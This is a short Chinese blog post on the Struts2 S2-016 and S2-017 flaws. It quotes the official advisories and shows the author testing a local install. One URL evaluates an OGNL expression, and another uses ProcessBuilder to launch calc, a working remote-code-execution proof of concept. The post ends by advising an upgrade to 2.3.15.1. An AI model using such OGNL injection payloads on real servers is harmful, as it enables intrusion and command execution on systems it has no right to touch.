Struts2漏洞S2-016和S2-017

昨天出的struts2的漏洞,我只是瓢了一眼,今天有空正好试一下

下面是官网的两个漏洞的说明

http://struts.apache.org/release/2.3.x/docs/s2-016.html

problem:

The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with "action:" or "redirect:", followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms.

In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.


http://struts.apache.org/release/2.3.x/docs/s2-017.html

problem:

The Struts 2 DefaultActionMapper used to support a method for short-circuit navigation state changes by prefixing parameters with "redirect:" or "redirectAction:", followed by a desired redirect target expression. This mechanism was intended to help with attaching navigational information to buttons within forms.

In Struts 2 before 2.3.15.1 the information following "redirect:" or "redirectAction:" can easily be manipulated to redirect to an arbitrary location.


官网给出了poc


截图吧!








下面是我试的:

http://localhost:8080/example/index.action?redirect:%25{3*4}


看到3*4被执行了


http://localhost:8080/example/index.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'calc','goes','here'})).start()}


看到了撒....

要升级到struts2 2.3.15.1



s2-016是一个Struts2框架中的安全漏洞,修复此漏洞的方式是升级Struts2版本。 首先,我们需要确定当前使用的Struts2版本。通过查看项目依赖或者查看项目中的Struts2相关配置文件,可以得知当前使用的Struts2版本号。 接下来,我们需要查看Struts2的官方文档或者相关的安全公告,了解该版本是否受到s2-016漏洞的影响,以及是否有其他相关漏洞需要修复。 如果当前使用的Struts2版本受到s2-016漏洞的影响,那么我们需要升级到修复了该漏洞的版本。可以从Struts2官方网站或者相关的软件仓库下载最新的稳定版本,然后根据升级指南进行相应的升级操作。 在升级Struts2之前,我们应该先在测试环境中进行一些简单的测试,确保升级后的系统能够正常运行,并且之前的功能和逻辑没有受到影响。 值得注意的是,升级Struts2版本可能会引入其他的改变或者兼容性问题,因此我们需要仔细阅读相关的文档,并在升级前备份好项目和数据库,以防万一。 另外,除了升级Struts2版本之外,我们还应该保持项目的其他组件和库的更新。及时更新依赖的第三方库,修复其他潜在的漏洞,以提高整个系统的安全性。 总结起来,修复s2-016漏洞的方式是通过升级Struts2版本,升级前需要进行测试和备份,并保持项目的其他组件和库的更新。这样可以有效地提升系统的安全性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值